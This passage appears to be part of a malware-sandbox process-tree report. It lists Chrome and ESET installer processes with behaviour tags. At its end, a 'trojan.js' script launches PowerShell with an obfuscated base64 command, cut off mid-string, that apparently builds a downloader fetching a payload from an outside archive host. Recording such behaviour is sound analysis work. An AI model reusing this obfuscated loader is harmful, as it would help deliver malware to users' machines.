                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4800,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4424 /prefetch:8
                                    2⤵
                                      PID:1884
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4748,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4724 /prefetch:8
                                      2⤵
                                        PID:2444
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4728,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3540 /prefetch:8
                                        2⤵
                                          PID:2044
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4724,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4636 /prefetch:8
                                          2⤵
                                            PID:1140
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4720,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4692 /prefetch:8
                                            2⤵
                                              PID:4756
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4740,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4820 /prefetch:8
                                              2⤵
                                                PID:3428
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4780,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4872 /prefetch:8
                                                2⤵
                                                  PID:3972
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5012,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4428 /prefetch:2
                                                  2⤵
                                                    PID:4476
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5348,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5324 /prefetch:1
                                                    2⤵
                                                      PID:988
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=4496,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5340 /prefetch:1
                                                      2⤵
                                                        PID:4208
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=3492,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3504 /prefetch:1
                                                        2⤵
                                                          PID:3652
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=4628,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4840 /prefetch:1
                                                          2⤵
                                                            PID:2344
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5656,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4564 /prefetch:1
                                                            2⤵
                                                              PID:3796
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5816,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5812 /prefetch:8
                                                              2⤵
                                                                PID:2704
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5828,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5968 /prefetch:8
                                                                2⤵
                                                                  PID:2360
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4536,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4596 /prefetch:8
                                                                  2⤵
                                                                  • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                  • NTFS ADS
                                                                  PID:2756
                                                                • C:\Users\Admin\Downloads\eset_internet_security_live_installer.exe
                                                                  "C:\Users\Admin\Downloads\eset_internet_security_live_installer.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:1980
                                                                  • C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\eset_internet_security_live_installer.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\eset_internet_security_live_installer.exe" --bts-container 1980 "C:\Users\Admin\Downloads\eset_internet_security_live_installer.exe"
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Checks for any installed AV software in registry
                                                                    • System Location Discovery: System Language Discovery
                                                                    • Enumerates system info in registry
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:456
                                                                    • C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\BootHelper.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\BootHelper.exe" --watchdog 456 --product "ESET Live Installer" 17.2.1.0 1033
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:3808
                                                                    • C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\BootHelper.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\eset\bts.session\6b3cb776-1908-40a6-923b-4ef368d63549\BootHelper.exe" --send-statistics "C:\Windows\Temp\eset\bts.stats" --product "ESET Live Installer" 17.2.1.0 1055
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:6284
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=6460,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5220 /prefetch:1
                                                                  2⤵
                                                                    PID:904
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6300,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5228 /prefetch:8
                                                                    2⤵
                                                                      PID:1948
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5076,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4304 /prefetch:8
                                                                      2⤵
                                                                        PID:2412
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --field-trial-handle=5564,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4512 /prefetch:1
                                                                        2⤵
                                                                          PID:2836
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=6756,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6740 /prefetch:1
                                                                          2⤵
                                                                            PID:1568
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --field-trial-handle=6888,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6812 /prefetch:1
                                                                            2⤵
                                                                              PID:2316
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --field-trial-handle=6700,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6680 /prefetch:1
                                                                              2⤵
                                                                                PID:2292
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --field-trial-handle=6896,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7200 /prefetch:1
                                                                                2⤵
                                                                                  PID:4752
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=6764,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4888 /prefetch:1
                                                                                  2⤵
                                                                                    PID:3968
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=6892,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6900 /prefetch:1
                                                                                    2⤵
                                                                                      PID:1888
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --field-trial-handle=7180,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6984 /prefetch:1
                                                                                      2⤵
                                                                                        PID:1964
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --field-trial-handle=7536,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7376 /prefetch:1
                                                                                        2⤵
                                                                                          PID:4128
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=7672,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6968 /prefetch:1
                                                                                          2⤵
                                                                                            PID:2256
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --field-trial-handle=7780,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7652 /prefetch:1
                                                                                            2⤵
                                                                                              PID:3548
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --field-trial-handle=7956,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7972 /prefetch:1
                                                                                              2⤵
                                                                                                PID:3792
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --field-trial-handle=8092,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8080 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:3800
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=8244,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8276 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:1836
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=8436,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8452 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:1344
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --field-trial-handle=8592,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8392 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:1740
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --field-trial-handle=8732,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8716 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:4980
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --field-trial-handle=7136,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8868 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:1428
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=8692,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8996 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:668
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --field-trial-handle=9156,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=9128 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:2316
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=9284,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=9296 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:5148
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --field-trial-handle=6812,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8952 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:5548
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8736,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8724 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:5720
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=5056,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=9152 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:5840
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=8804,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6224 /prefetch:8
                                                                                                                        2⤵
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5948
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --field-trial-handle=8992,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8784 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:5128
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --field-trial-handle=9680,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=10324 /prefetch:1
                                                                                                                          2⤵
                                                                                                                            PID:5244
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6340,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1176 /prefetch:8
                                                                                                                            2⤵
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:6020
                                                                                                                        • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                          1⤵
                                                                                                                            PID:1304
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                            1⤵
                                                                                                                              PID:2072
                                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                              1⤵
                                                                                                                                PID:4248
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ 